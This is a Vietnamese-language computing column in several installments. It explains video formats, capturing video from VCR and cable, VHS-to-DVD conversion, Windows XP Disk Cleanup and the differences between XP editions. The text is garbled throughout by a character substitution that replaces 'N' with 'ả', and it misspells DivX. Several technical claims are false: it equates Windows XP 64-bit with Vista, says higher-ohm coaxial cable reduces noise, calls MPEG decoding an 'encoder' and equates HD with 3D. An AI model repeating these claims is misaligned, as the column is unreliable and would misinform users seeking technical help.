Trước khi tìm hiểu về trong lãnh vực quan hệ giữa Windows và các máy quay phim hình quý vị độc giả điện toán nên tìm hiểu và biết các danh từ kỹ thuật căn bản như thế nào. Từ những sự hiểu biết này sẽ giúp rất nhiều trong công việc hoán chuyển các loại video file

với nhau trong dạng DVD. Các danh từ chuyên môn đã được hợp thức hóa và đã trở thành tiêu chuẩn sử dụng, sự hợp thức hóa danh từ theo nguyên tắc này gọi này là Terminology. Tương tự như hình ảnh điện tử (picture), âm thanh điện tử (audio), hình ảnh (video) cũng được ghi chép dưới nhiều dạng mã khác nhau tùy theo sự phát minh của nhà sản xuất. Các dạng mã khác nhau này danh từ chuyên môn gọi là Video Format. ả hững dạng format thông dụng như Avi, Mpeg, Wmv, DivX, Xvid, Asf v.v...đều là những dạng mã thông dụng trên thị trường điện toán. Và một trong những danh từ không kém quan trọng khi sử dụng trang web google để tìm kiếm nhu liệu hoán chuyển đó là danh từ converter. Có rất nhiều nhu liệu download miễn phí làm công việc hoán chuyển video format từ dạng này sang dạng khác và chỉ cần sử dụng đúng danh từ sẽ có những nhu liệu cần thiết cho công việc đó. Ví dụ như trong trang web google vào search điền vào AVI converter sẽ có nhiều trang web hiện lên hỏi chuyển mã từ AVI sang dạng gì v.v...

Hỏi: *Làm sao biết được các ký hiệu được ghi chép dưới dạng mã video nào ?*

Đáp: Thông thường khi mở bất cứ một hồ sơ nào ra, theo nguyên tắc mỗi hồ sơ ba chữ sau cùng ám hiệu cho nhu liệu đó. Ví dụ như huypham.doc theo terminology giải trình rằng hồ sơ thuộc dạng text file và lưu trữ qua Microsoft Word nên muốn xem nội dung hồ sơ huypham.doc này ít nhất trong máy điện toán phải có nhu liệu đánh máy nhu Microsoft Word chẳng hạn. Hoặc một thí dụ khác huypham.avi thì hiểu rằng.avi là một dạng format của video và video file này với một cái tên là huypham. Muốn huypham.avi trình chiếu trên màn hình thì ít nhất cũng phải có nhu liệu có thể đọc được dạng mã avi và chuyển mã.avi thành hình ảnh sống động. Trong Windows XP Professional có Windows Media Player 10 gọi tắt là WMP10 có thể đọc hầu như các dạng video format.

Quay lại kỹ thuật terminology trong video, sẽ đi chi tiết từng dạng mã hóa trong phim ảnh điện tử một tạo nhanh chóng sự nhận dạng của từng hồ sơ thuộc loại gì:

AVI: ả guyên văn của danh từ này là Audio Video Interleave và đây cũng là một trong những mã hóa video thông dụng để lưu trữ audio/video dữ kiện trong hard drive của máy điện toán. Dạng mã AVI làm việc rất thuận tiện chung với Microsoft Windows Resource Interchange File Format (RIFF) và rất thuận lợi cho công việc hoán chuyển, chia xẻ nội dung qua internet. Dĩ nhiên bất cứ một hồ sơ nào có ba chữ sau cùng.avi là ký hiệu của dạng mã AVI. Trong Windows XP hoặc Windows Media đều nhận diện và đọc được dạng mã avi phổ thông này.

MPEG: ả guyên văn của danh từ này là Motion Picture EXPerts Group. ả hóm này nghiên cứu rất nhiều dạng cho cả Audio và Video như một trong những dạng format thu gọn (compressed file) nổi tiếng trong âm nhạc điện tử đó là MP3. Trong lãnh vực video cũng vậy, nhóm chuyên gia chuyên nghiên cứu về âm thanh và hình ảnh đã tạo ra một dạng thu gọn thích hợp của video viết tắt của chữ MPEG. Vì đây là một dạng compressed file nên trong các loại nhu liệu xem phim hình đều phải trang bị MPEG-1 hoặc **MPEG-2** để chuyển những dạng compressed file này sang dạng bình thường và trình chiếu trên màn hình. MPEG-1 là một dạng mã với các độ phân giải rất thấp (low resolution), thông thường khi download trên internet các dạng video được lưu trữ dưới dạng format mpeg-1. Còn loại mpeg-2 có độ phân giải rất cao (high resolution), và thông thường TV số (digital motion picture) hoặc phim (movie) được lưu trữ dưới dạng mpeg-2 này. MPEG được ứng dụng rộng rãi trong các loại máy chụp hình hoặc quay phim số (digital camera, digital mini camrecorder v.v...). Và khi thấy bất cứ một file video nào với các mẫu tự sau cùng.mpeg thì hiểu ngay rằng đây là một dạng phim hình được lưu trữ dưới dạng dồn nén.

WMV: Một trong những dạng cũng tương đối rất phổ thông trong cho các phim được lấy ra trong internet đó là WMV. ả guyên văn của danh từ này là Windows Media Video tuy nhiên có hai loại ký hiệu nhưng cũng diễn tả chung đó là WMV hoặc **WMA** (Window Media Audio). WMV là một trong những dạng format rất phổ thông cho các phim ảnh được download từ internet server xuống PC cá nhân. Kỹ thuật WMV đáp ứng được luồng

download và trong Windows XP hoặc Media đều có sẵn WMP cho dạng WMV rất tiện lợi. Bất cứ một hồ sơ được download từ internet với 3 chữ sau cùng.WMA hoặc.WMV đều thuộc dạng Windows. Tuy nhiên các nhu liệu Realplayer hay DVD player đều cũng có thể đọc được dạng WMV này mà không cần phải cập nhật hóa nhu liệu cho Windows.

Mong quý vị độc giả điện toán vào bài đọc kế tiếp. ả những danh từ kỹ thuật căn bản sẽ giúp ích rất nhiều trong lãnh vực Video và Audio. Biết được những danh từ chuyên môn như converter, terminology v.v...sẽ ít bị trở ngại khi đi sâu vào chuyên môn hoán chuyển các file, hay tạo một movie trong DVD hoặc VCD.

Phần cuối:

Qua ba dạng mã ghi chép ký hiệu trên mặt dĩa trong kỹ nghệ phim hình như AVI, MPEG và MWV của phần 2, tiếp tục tìm hiểu thêm về các dạng ghi chép (format) khác và sau đó qua phần hỏi và đáp quý vị độc giả am tường thêm sự liên hệ giữa các máy quay video và máy điện toán như thế nào.

DixV: Dixv là một dạng video dồn nép (compression format) cũng dựa trên kỹ thuật căn bản của họ MPEG (như đã trình bày họ MPEG trong phần 2) và đi sâu vào chi tiết kỹ thuật Dixv ứng dụng từ kỹ thuật MPEG-4. Dạng MPEG được dùng lưu trữ hình ảnh trong các loại máy quay phim số (digital cam recorder) hay quay phim điện tử (electronic camera), thì dạng Dixv được ứng dụng trong các trang web cho phép download các phim bộ, phim lẻ tới người dùng. Một trong những đặc điểm của dạng Dixv format này là phù hợp với trong tiến trình download tới người dùng không ảnh hưởng tới chất lượng phim ảnh download. ả ên Dixv trở thành một trong những format thông dụng để trao đổi phim hình trong thời gian đầu khi kỹ thuật DSL áp dụng tới từng gia đình. Sau đó Divx được thay thế bằng một dạng format tương tự Xvid.

Xvid: Xvid format cũng có dựa trên cấu trúc dồn nén MPEG-4. Xvid được phát minh cũng từ một nhóm chuyên gia lập trình thiện nguyện (group of volunteer programmer) và xuất hiện trên thị trường internet sau khi Divx không sử dụng thay thế vào đó là Xvid. VCD: Viết tắt của chữ Video Compact Disc, căn bản đây là một trong những loại format ra đời đầu tiên sau kỹ thuật ghi chép trên Video Tape (VHF). VCD trên một CD không khác hơn chỉ là lưu trữ phim ảnh và âm thanh với chất lượng âm thanh và hình ảnh rất kém dĩ nhiên nhìn về khía cạnh kỹ thuật không chấp nhận được, nhưng đáp ứng phần nào cho người tiêu dùng trong một góc cạnh nào đó. Và VCD được sử dụng kỹ thuật MPEG-1 để ghi chép trên mặt dĩa CD. Trong thời gian gần đây VCD được nâng cấp và chuyển sang một hệ mới gọi tắt là SVCD - nguyên văn của chữ Super Video Compac Disk.

Hỏi: *Phim ảnh và âm thanh ảnh hưởng tới người tiêu dùng như thế nào ?*

Đáp: Trên thực tế dạng VCD rất kém về âm thanh và phim ảnh, tuy nhiên VCD vẫn lưu hành và số lượng tiêu thụ cũng đáng kể vì gía thành của loại dĩa VCD này rất rẻ so với loại dĩa DVD. Thời gian sao chép và thời gian sản xuất nhanh hơn ký hiệu trên mặt dĩa DVD. Tuy nhiên tại các nước có khoa học kỹ thuật cao DVD trở thành loại format tiêu chuẩn cho các loại phim và sau này kỹ thuật hình nổi và âm thanh ba chiều đã thay đổi hoàn toàn về phim ảnh. Kỹ thuật này gọi là HD DVD, HD TV. HD viết tắt của danh từ High Definition liên quan tới chất lượng âm thanh nổi và hình ảnh ba chiều. Có dịp sẽ phân tích kỹ thuật HD này như thế nào và liên quan trực tiếp tới máy computer ra sao.

Hỏi: *Một trong những khía cạnh kỹ thuật trong computer, sau khi download một AVI hoặc WMA phim vào trong máy điện toán. Sau đó dùng Real Player hoặc Windows Media Player để xem nhưng chỉ nghe âm thanh và hình ảnh không hiện lên trong WMP hoặc Real Player. Làm thế nào hình ảnh và âm thanh cùng làm việc một lúc.*

Đáp: ả hư đã trình bày ở trên Xvid là một trong những nhu liệu rất quan trọng hợp tác với các nhu liệu khác để giải mã, từ bước giải mã và hình ảnh cùng âm thanh sẽ làm việc một lúc trong bất cứ một nhu liệu nào như WMP, Realplayer, Power DVD player v.v...Dưới đây là một link để vào download miễn phí nhu liệu Xvid V1.1.0 cho Windows

<http://www.xvidmovies.com/codec/>

Sau khi download và cài đặt xong, hình ảnh và âm thanh sẽ xuất hiện cùng một lúc. Windows XP, các loại nhu liệu WMP, Realplayer v.v...tuy hỗ trợ và đọc các loại format trong đó bao gồm luôn cả loại format AVI, WMA v.v...nhưng cũng cần phải có nhu liệu giải mã của nhóm MPEG thì các phim download làm việc với đúng chức năng của nó.

ả gày nay trước sự phát triển không ngừng trong kỹ nghệ điện toán. Hình ảnh và âm thanh cũng được cải thiện rất nhiều. Muốn có hình ảnh và âm thanh như ý muốn đòi hỏi người sử dụng điện toán phải có những kiến thức căn bản về cấu trúc các dạng ghi chép hình ảnh và âm thanh. Sau khi tìm hiểu cấu trúc của các dạng ghi chép (video format) bước kế tiếp sẽ tìm hiểu thêm về các nhu liệu (software) cũng như linh kiện điện tử (hardware) liên quan trực tiếp tới hình ảnh và âm thanh như:

- Tạo một dĩa DVD từ máy quay phim.
- Sao chép một dĩa DVD như thế nào.
- Chuyển các phim download sang dạng DVD format và ghi chép xuống dĩa DVD v.v...

Muốn làm những công việc DVD này liên quan tới những kiến thức căn bản và một trong những kiến thức căn bản đầu tiên là tìm hiểu các dạng DVD format.

Mong quý vị độc giả đón trong bài điện toán kỳ về sự liên quan hardware, software tới lãnh vực truyền thông hình ảnh DVD như thế nào, qua sự liên quan này quý vị sẽ tường tận hơn sự quan trọng về cấu trúc của một dàn máy computer khi mua sắm.

Khi install Windows XP coi chừng thiếu phần system tools hay Windows XP chưa upgrade lên SP2. Đây là những program trong System Tools:

- Back Up
- Character Map
- Disk Cleanup
- Disk Defragmenter
- File and Settings Transfer Wizard
- Schedule Tasks
- Security Center (1)
- System Information
- System Restore

ả ếu không thấy Disk CleanUp thì cũng có thể cái shortcut đã bị delete...Hãy run Windows EXPlorer rồi vào **C:\Windows\System32** , bấm cái hàng chữ **Type** để sort theo loại, dò xuống theo cái file extension.**EXE** tìm coi có file nầy không **cleanmgr.exe - 63 Kb**. ả ếu có cái cleanmgr.exe thì đó chính là program cho cái Disk CleanUp, chỉ cần double-click là run...ả ếu muốn run thường thì làm cái shortcut rồi copy vào trong desktop mà run về sau hay những khi cần...Khi run cái program nầy sẽ hiện ra cái dialog nhỏ chừng một vài giây rồi hiện ra 1 cái dialog lớn gồm có 2 cái tabs **Disk CleanUp** và **More Options**. Trong cái tab Disk CleanUp thì check những thứ nào muốn delete (clean) rồi bấm nút OK muốn chắc ăn thì check từng dòng rồi bấm nút **View** coi thứ đó chứa những thứ gì trước khi quét dọn. Trong cái Tab **More Options** thì có thể chọn CleanUp 3 thứ kách như Windows Components, Installed Programs hay System Restore...

1) Chỉ có khi upgrade Windows XP lên SP2

THÂU PHIM, HÌNH ẢNH TỪ HỆ SAP CABLE VÀ VCR VÀO TRONG MÁY ĐIỆN TOÁN

Tạo một VCD hay DVD video như thế nào

Phần 1:

Khi nói đến phương pháp hướng dẫn làm thế nào để tạo một dĩa phim ảnh DVD, điều đầu tiên liên quan trực tiếp tới các điều kiện căn bản của máy điện toán.

Máy điện toán: Ít nhất con CPU phải trên 2.0 thuộc họ AMD hoặc Pentium. Memory là 512 Mb và ổ hard drive có sức chứa tối thiểu là 60 Gig. ả goài ra còn phải trang bị thêm ổ sao chép DVD (DVD burner) và đặc biệt là Video card có các đầu cắm cho các loại máy từ máy VCR, Cam Recorder, Cable v.v...

Đề cập tới phim ảnh là liên quan tới tất cả các hình ảnh từ TV, máy quay phim, máy chụp hình, máy VCR v.v...thông thường các máy quay phim (cam/mini cam recorder), máy chụp hình (digital camera) đều dùng trực tiếp qua chỗ cắm USB, còn máy VCR và TV đều phải dùng đầu cắm dây cáp danh từ chuyên môn gọi là đầu cắm RF (RF connector) hoặc đầu cắm dây cáp (Coaxial Connector). Sau khi đã có đầy đủ các thiết bị điện toán cần thiết phần còn lại là nhu liệu software.

ả hư đã trình bày ở trên Video card rất quan trong và trực tiếp trong vấn đề nối tiếp giữa máy điện toán và các máy truyền thông khác. Một trong những video card tương đối thông dụng và đầy đủ chức năng nối tiếp đó là hiệu ATI video card. Song song đó ATI có nhu liệu riêng cho Windows và rất tiện lợi và dễ dàng để thâu hoặc chuyển các phim từ video (VHS) vào trong máy hoặc đài truyền hình dây cáp (cable) có những phim hay cũng có thể thâu trực tiếp lưu trữ trong hard drive. Một trong những điểm quý vị độc giả nên lưu ý nên sử dụng S-video cable liên quan tới hình ảnh sẽ rõ ràng hơn và âm thanh nên dùng loại đầu cắm stereo thay vì mono (đầu cắm stereo luôn luôn có 3 ngấn trong khi mono chỉ có 2 ngấn). Quay lại tiến trình làm một Video clIP trong dạng AVI hoặc Mpeg (trong các bài trước quý vị độc giả đã tham khảo các dạng Video thông dụng trên mặt dĩa DVD) từ VCR hoặc Cable được chia làm hai phần.

- Thâu phim qua hệ thống dây cáp cable vào trong máy điện toán
- Chuyển các phim video VHS vào trong máy điện toán

A- Thâu phim vào trong máy điện toán (ATI video card) qua đường dây cable.

Rất đơn giản trên màn hình desktop sẽ thấy ATI software. Chọn truyền thông TV và sẽ thấy một khung hình TV hiện lên phía dưới có các phím khác cho phép thâu phim (record), chuyển đổi băng tầng (channel) hoặc điều chỉnh âm thanh (volume). ả hu liệu này làm việc giống như là một remote control của máy VCR/TV. Sau này ATI cải thiện nhu liệu tinh vi hơn có thể sắp xếp thời giờ qui định thu hình trong máy computer. Sau khi nhấn nút Record lập tức hình ảnh trong channel đó được lưu trữ dưới dạng AVI danh từ chuyên môn hay gọi động tác này là ‘’image capture’’. AVI là một dạng không thuộc loại dồn nén (uncompressed file) nên chiếm rất nhiều chỗ trong ổ hard drive có khi lên tới 100 Mb cho một phút. Sau khi hoàn tất thâu trong máy điện toán, bước kế tiếp phải chuyển dạng AVI sang dạng Mpeg (moving picture eXPert group). Mpeg là một dạng dồn nén (compressed video file) sẽ không chiếm nhiều chỗ trong ổ hard drive thông thường tỷ lệ dồn nén này là 10:1 (ví dụ như 100 Mb AVI chuyển thành 10Mb Mpeg).

B- Thâu phim vào trong máy điện toán qua máy VCR.

Tiến trình này cũng giống như TV/Cable, trên màn hình điện toán cũng chọn VCR hoặc TV sẽ thấy hình ảnh trong máy VCR xuất hiện trên màn hình ATI. Chỉ việc nhấn nút recorder là đủ. Tiến trình này cũng được lưu trữ trong dạng AVI. Sau đó dùng một nhu liệu khác chuyển sang dạng Mpeg để lưu trữ.

Hỏi: Liên quan đến chất lượng hình ảnh có sự khác biệt giữa AVI và Mpeg không và liên quan tới các hardware phụ như thế nào ?

Đáp: Dĩ nhiên là có và dựa vào rất nhiều yếu tố từ hardware cho đến software. Ví dụ về hardware như video card có độ phân giải (resolution) cao và memory build in trên video card ít nhất là 128 Mb hoặc dây coaxial cable nối từ VCR đến Video card phải là dây có chỉ số ohm cao như tiêu chuẩn 20, 50, và 75 ohm. Số ohm càng cao cho dây coaxial cable thì độ nhiễu sóng bị ít đi và chất lượng hình ảnh được chuyển đi càng cao. Riêng về nhu liệu để thâu hoặc chuyển dạng (format converter) khó mà phân biệt về chất lượng hình ảnh sau khi chuyển xong. Tuy nhiên dựa trên nhu liệu thuộc loại gì và nổi tiếng hay không hoặc được sự giới

thiệu từ những người đã dùng qua. ả gay cả sử dụng S-Video cable cũng phải quan tâm và tìm hiểu vì S-Video cho người sử dụng điện toán hình ảnh có chất lượng cao cũng như âm thanh rõ ràng. Quay lại sự khác biệt giữa AVI và Mpeg cũng đơn giản và dễ hiểu vì dạng AVI thuộc dạng ghi chép nguyên thủy nên chất lượng và hình ảnh giống như là nguyên vẹn (original source) trong khi đó Mpeg là dạng dồn nén trong tiến trình dồn nén (compressed process) có thể đưa đến tình trạng hình ảnh bị hư là chuyện thường nên và khi xem phim thuộc dạng Mpeg phải qua một tiến trình gọi danh từ chuyên môn là Mpeg Encoder (giải mã) để chuyển những dạng dồn nén này thành dạng bình thường và hình ảnh sẽ hiện lên, trong khi đó AVI xem trực tiếp không cần giải mã.

Mong quý độc gỉa đón đọc bài điện toán kỳ tới cũng trong chương trình hướng dẫn từng bước tìm hiểu cách chuyển các VHS (VCR) hoặc Movie từ TV/Cable vào trong máy điện toán và chuyển sang DVD.

Phần 2:

- Làm sao chuyển VHS lưu trữ trong dĩa DVD

Chuyển các dạng VHS (video home system) sang DVD (digital video disk) trở thành một trong những nhu cầu thiết yếu trong công việc bảo trì các sản phẩm văn hóa giá trị đã được lưu trữ dưới dạng cũ VHS sang dạng công nghệ lưu trữ mới DVD. Dĩ nhiên quý vị độc giả điện toán cũng hiểu rằng với kỹ thuật hiện đại, các chức năng đa dạng của máy điện toán thì tiến trình hoán chuyển và lưu trữ cũng không mấy khó khăn và phức tạp để hoán chuyển từ VJS sang DVD. ả ếu muốn hoán chuyển VHS sang DVD có rất nhiều cách dĩ nhiên nếu nhìn về khía cạnh kỹ thuật thì sự hoán chuyển cũng phải bảo đảm về chất lượng hình ảnh cũng như âm thanh giống như nguồn gốc của băng tape VHS, nhiều khi còn khá hơn băng gốc vì các kỹ thuật hình số (digital image) cho phép điều chỉnh độ sáng tối, màu hoặc độ phân giải (screen resolution) và sự hoán chuyển này có thế áp dụng cho mọi cho mọi loại VHS như VHS-C (Video Home System-Compact), SVHS (Separate Video Home System), Hi8, VHS hoặc Beta.

Một vài nguyên tắc hoán chuyển từ VHS sang DVD như sau:

- Sau khi máy điện toán đã nhận các hình ảnh Video này từ VHS, bước kế tiếp dùng nhu liệu để chuyển các hình ảnh của dạng Analog sang dạng Digital. Cấu trúc nguyên thủy hình ảnh ghi chép trên mặt băng từ trường đều thuộc loại Analog, nên khi chuyển sang máy điện toán cũng vẫn còn thuộc dạng Analog.

Bước kế tiếp dùng nhu liệu để mã hóa và hoán chuyển hình ảnh của analog sang digital. Bước này danh từ chuyên môn gọi là Analog-to-DV (digital video). ả hu liệu căn bản Analog-to-DV có rất nhiều cho các thiết bị máy quay phim, máy chụp hình v.v...khi mua sắm cam/minicam recorder cũng có nhu liệu hoán chuyển này nắm trong dĩa CD, chỉ cần cài vào trong máy và sử dụng được (một trong những thói quen khi mua sắm các loại carema, minicam recorder, camrecorder v.v...nên hỏi người bán là các nhu liệu nào đính kèm và nhu liệu này thuộc loại Anolog-to-DV hoặc Analog-to-Mpeg). Đây là một trong những nguyên tắc hoán chuyển từ analog sang digital chiếm nhiều thời gian nhất có khi máy điện toán phải sử dụng nhiều giờ trong tiến trình đưa analog video vào trong ổ hard drive. Dùng nhu liệu để giải mã và hoán chuyển sang dạng MPEG-2 tuy có trở ngại thời gian tính nhưng ngược lại người sử dụng điện toán có thể uyển chuyển để sửa đổi hình ảnh analog video gốc (danh từ kỹ thuật chuyên môn gọi tiến trình sửa đổi này là Edit hay Editting) và thêm bớt chi tiết âm thanh và nội dung cho hoàn hảo.

- Một trong những nguyên tắc hoán chuyển khác là dùng nhu liệu Mpeg hoán chuyển trực tiếp hình ảnh VHS vào trong ổ hard drive. Giải thích theo góc cạnh kỹ thuật là nhu liệu Mpeg (Mpeg converter) vừa lấy, vừa chuyển VHS thành Mpeg song song cùng một lúc. Lối áp dụng nguyên tắc để chuyển trục tiếp này rất thông dụng vì tương đối dễ dùng và không đòi hỏi phải có trình độ chuyên nghiệp, sự hiểu biết về video. Tuy nhiên một trong những khuyết điểm khi chuyển qua dạng dồn nén Mpeg này là chất lượng hình ảnh (quality image) đôi khi

sẽ không rõ ràng và phải dùng nhu liệu movie clIP editing để điều chỉnh hình ảnh lại cho rõ ràng. ả hìn về điểm thời gian tính thì công việc hoán chuyển này rất nhanh từ VHS sang Mpegs so với nguyên tắc hoán chuyển ở trên.

- Một loại khác cũng tương đối thông dụng không cần máy điện toán đó là loại máy VCR-DVD combo. Trên lý thuyết thì VHS và DVD có thể ghi chép hình ảnh phim lẫn cho nhau nhưng trên thực tế hầu như các ổ phim DVD đều có trang bị chống sao chép bản quyền nên tất cả các phim ảnh muốn giải mã và chuyển sang dạng ghi chép trên mặt băng VHS đều bị ngăn cản. Và chỉ làm việc có một chiều có nghĩa là DVD có thể chuyển các hình ảnh từ VHS và sao chép trên mặt dĩa DVD. ả gay cả Camrecorder và DVD cũng có thể làm việc trực tiếp với nhau giông như là VCR - DVD combo vậy.

ả ói tóm lại cho dùng sử dụng bất cứ một nguyên tắc hoán chuyển nào từ VHS sang DVD cũng quy tụ lại hai nhu cầu sử dụng:

- ả gười chuyển trực tiếp từ cam recorder hoặc VCR sang DVD thì không cần phải có kiến thức tìm hiểu cặn kẽ về cấu trúc các dạng video. Theo hướng dẫn cách sử dụng là đủ để hoán chuyển một phim ảnh sang DVD mà không tốn phí thời gian. Chất lượng hình ảnh hoàn toàn phụ thuộc vào bản phim gốc từ VCR tape hoặc Cam Recorder

- Trong khi đó các chuyên viên chuyên về Video editing luôn luôn phải chỉnh hình bằng phương pháp đưa những hồ sơ gốc analog này vào trong máy lưu trữ theo dạng analog. Sau đó dùng nhu liệu để điều chỉnh phim ảnh và sau cùng mã hóa để ghi chép vào DVD. Mpeg-2 là dạng mã hóa thông dụng được ghi chép trên mặt dĩa DVD.

Mong quý vị độc gỉa đón đọc trong bài điện toán kỳ tới cũng trong chương trình hướng dẫn từng bước tìm hiểu cách chuyển các VHS (VCR) hoặc Movie từ TV/Cable vào trong máy điện toán và chuyển sang DVD. Song song đó các nhu liệu phổ biến được dùng để edit phim ảnh như thế nào ?

KIẾN THỨC CĂN BẢN VÀ SỰ TIỆN LỢI TRONG Windows XP

Trong các bài viết điện toán kỳ này sẽ tìm hiểu về Windows XP. Hiện nay Windows XP không còn xa lạ gì cho người sử dụng điện toán. Windows XP có ba loại đang lưu hành rất rộng rãi đó là Windows XP home edition, Professional Edition và còn một loại Windows XP thứ ba mới tung ra thị trường với cái tên là Windows XP 64-bit edition (hay còn gọi là Windows Vista), Windows 64-bit này chỉ dành cho những computer ra đời sau này thuộc họ Intel Itanium Processor (con chIP processor Itanium chạy nhanh hơn con chIP Pentium và cũng là con chIP mới nhất được tung ra thị trường trong thời gian gần đây để thay thế dần con chIP pentium do công ty Intel sản xuất), có nghĩa là máy computer phải đạt đủ những điều kiện nhanh chóng tối thiểu mới cài đặt được Window XP 64-bit edition vào trong máy, loại Windows thứ ba này sẽ không đề cập tới trong bài tham khảo hôm nay.

Windows XP home edition loại này rất đơn giản và ứng dụng cho các computer tại tư gia, đại đa số khi mua một hệ thống computer mới tại các cửa hàng điện toán đều cài đặt loại Windows XP home edition này

Windows XP professionall edition loại này được sử dụng trong các giới thương mại và rất được ưa chuộng trong các giới rành về điện toán

Thông thường trung bình giá một Windows XP home edition trên thị trường là $199, upgrade là $99 và Windows XP Profession là $250 upgrade là $150. Có hai danh từ chuyên môn hay sử dụng diễn tả chung cho một software đó là full version và upgrade.

Full version software: Có nghĩa là không lệ thuộc vào software khác, có thể trực tiếp cài đặt thẳng vào máy computer với những chi tiết đã được cung cấp đầy đủ từ các công ty viết lập trình như password, serial code, authorite code v.v...và xin quý vị lưu ý software này chỉ có giá trị cho một máy computer đó mà thôi, sẽ không có tác dụng nếu cài đặt cho một computer khác.

Upgrade software: Có nghĩa là nâng cấp hoặc cải thiện những nhu liệu cũ sang mới, upgrade là danh từ được dùng rộng rãi trong mọi trường hợp theo một nguyên tắc chung dựa vào nền tảng cũ đã có sẵn chuyển sang nền tảng mới. Danh từ upgrade được sử dụng trong điện toán, xây cất nhà cửa v.v...riêng về lãnh vực điện toán trong tiến trình cài đặt upgrade software, luôn luôn tìm kiếm những software cũ ví dụ như cài đặt upgrade office 2000 thì office 2000 luôn luôn tìm kiếm office 97 hoặc muốn upgrade Windows XP thì trong máy phải có Windows 98 hoặc 2000.

Danh từ XP được diễn tả qua danh từ ‘’eXPerience’’ (kinh nghiệm) nên theo nghĩa nôm na Windows XP là sự tổng hợp các kinh nghiệm thu thập từ những nhà viết lập trình (programmer) cho OS Windows và rút tỉa kinh nghiệm thực tế từ những người sử dụng window 3.1, 95, ả T4.0, 98, ME và win2000 cho tới khi Windows XP tung ra thị trường vào cuối tháng 8 năm 2001. ả hững kinh nghiệm thực tiễn đã được cải thiện trong Window XP như máy chụp hình điện tử (digital camera), digital music, internet, home network v.v...rất là nhiều chức năng khác trong Windows XP.

Theo dõi thời gian thứ tự có thể nói Windows XP được nối tiếp sau Windows 2000 nhưng trên thực tế các nhà viết lập trình cho Windows XP đều dựa trên cấu trúc căn bản nguyên thủy của window 95 và 98, trong danh từ chuyên môn gọi cấu trúc Windows căn bản này là Windows Engine, và từ Windows engine này trở thành Windows ả T/2000 kernel. ả ên những kiến thức nguyên thủy về Windows đều dựa theo cấu trúc Windows engine mà nảy nở ra các Windows khác nhau.

Hỏi: *Như vậy Windows XP có ba loại khác nhau, duy chỉ có hai loại thông dụng Windows XP home edition và Professional Edition, trong hai loại Windows này có sự khác biệt gì không và Windows professional cho lãnh vực thương mại (business) có thể dùng tại gia được hay không ?*

Đáp: Trong cấu trúc Windows đều có sự khác biệt về tùy theo điều kiện của người sử dụng ví dụ như Win98 được tung ra thị trường, không lâu sau đó Win98 SE được thay Win98 vì những vấn đề trong Win98 được bổ túc và thay bằng Win98 SE (second edition). Win XP home và professional thì cũng vậy cấu trúc đều khác nhau nên giá thành của WinXP professional cao hơn WinXP home version là vậy.

Dưới đây là những sự khác biệt giữa Windows XP home và Professional

- MultIPle processor: XP pro có thể làm việc từ 1 lên tới hai con chIP processor một lúc mà XP home thì không có (sau này có những loại mother board được thiết kế đặc biệt với hai con chIP processor cùng một lúc).

- Upgradable: Trong tiến trình cài đặt Windows, winXP pro cho phép người sử dụng có thể cài đặt full version hoặc có thể nâng cấp (upgrade) từ Window 98, ME hoặc 2000. Còn XP home phải dùng trực tiếp từ CD nguyên thủy.

- Itanium: XP pro chạy với hệ thống 64 bit và rất thích hợp cho hệ thống Itanium, trong tương lai gần đây Pentium sẽ không còn hiện hữu và sẽ được thay thế bằng hệ thống Itanium chạy nhanh hơn trong hệ thống 64 bit. Trong khi đó XP home không phù hợp cho hệ thống Itanium này.

- ả etwork: XP pro có thể làm việc trong hệ thống ả etwork Monitor, Sả MP, IP security (IPsec) và CSả W (Client Service for ả etware) trong khi đó XP home thì lại không có những phần này.

- Dynamic Disks: XP pro có thể làm việc với Dynamic disk, XP home thì không.

- Backup: XP pro có những tiêu chuẩn căn bản trong chương trình backup (back up program) giống như Window 2000 có nghĩa là cho phép người sử dụng có thể setup tiêu chuẩn thời gian tự động để lưu trữ dữ kiện, hồ sơ cá nhân, còn XP home thì không có chương trình backup này.

- MultIPle Monitor: XP pro có thể làm việc lên tới monitor một lúc, trong khi đó XP home chỉ một monior mà thôi.

Bao nhiêu sự khác biệt giữa Home và XP edition cũng đủ chứng minh cho quý độc giả nên sử dụng Windows nào rồi. Dĩ nhiên Windows nào có nhiều chức năng (feature) thì nên dùng, tại nhà hay tại cơ sở thương mại (business) đều không trở ngại gì cả. ấ hưng vì giá cả có sự chênh lệch khá nhiều giữa Windows XP pro và Home edition nên đại đa số các computer mua sắm đều cài đặt home edition là vậy trừ khi chịu trả thêm tiền phụ trội để chuyển qua Windows Pro.

Qua các hướng dẫn căn bản về kiến thức điện toán, mong quý độc giả điện toán đón đọc những nhận định nên hay không nên cải thiện Windows XP sang Windows XP 64 hoặc Vista và các vấn đề về hardware cũng như software sẽ gặp phải

ấ hư đã trình bày ở trên, sự ra đời của các nhu liệu điều hành của Windows như Windows XP Media, Windows Vista 64 đòi hỏi sự cải thiện về cấu trúc hardware của máy vi tính. Các cấu trúc này bao gồm:

- CPU processor: Cả hai loại chIP CPU rất nổi tiếng từ 2 công ty đó là AMD và Intel đều tung ra thị trường các con chIP CPU mới và đều chạy trên nền tảng lập trình kỹ thuật binary 64. Tất cả các máy móc hoặc những con chIP CPU được trang bị đề phù hợp với lập trình nền 64 đều được ghi chép bằng ký hiệu cớ con số 64. Ví dụ như con chIP CPU AMD64, Intel Pentium 64 v.v...khi thấy những ký hiệu này hiểu rằng máy điện toán đã được trang bị các điều kiện hardware căn bản để chạy nhu liệu điều hành 64.

- Hard drive: Vì cấu trúc của mother board cũng thay đổi để theo kịp nhu liệu điều hành 64 nên có một sự cải thiện rất nhanh như mother board 64 không còn sử dụng ổ floppy 3.5 nữa (hiện nay floppy không còn phù hợp và thay vào đó là CDR-W hoặc DVDR-W), ngay cả trên motherboard không có chỗ cắm dây ribbon cable nối giữa motherboard và ổ floppy 3.5. Kỹ thuật mới ứng dụng ổ hard drive SATA (viết tắt của danh từ Serial Advanced Technology Attachment) vì ổ SATA này tiện lợi vừa nhanh và sử dụng được liền không đòi hỏi các kiến thức setup như loại hard drive IDE. Sau cùng là memory đều chuyển qua sử dụng loại DDR2. Loại DDR2 này được cải thiện từ những con chIP memory thuộc họ DDR. Khi đã chuyển qua loại motherboard 64 thì cấu trúc hardware hoàn toàn khác hẳn để đáp ứng các điều kiện căn bản khi cài đặt nhu liệu điều hành WindowsVista 64. Một trong những đặc điểm của Vista là ứng dụng kỹ thuật nổi 3 chiều (3D display) trên màn hình do đó đòi hỏi cấu trúc hard drive và memory cũng phải thay đổi cho phù hợp.

Hỏi: *Window Vista tuy đã tung ra thị trường nhưng vẫn chưa được hưởng ứng rộng rãi và vẫn còn hạn hẹp khi liên quan tới các nhu liệu khác ?*

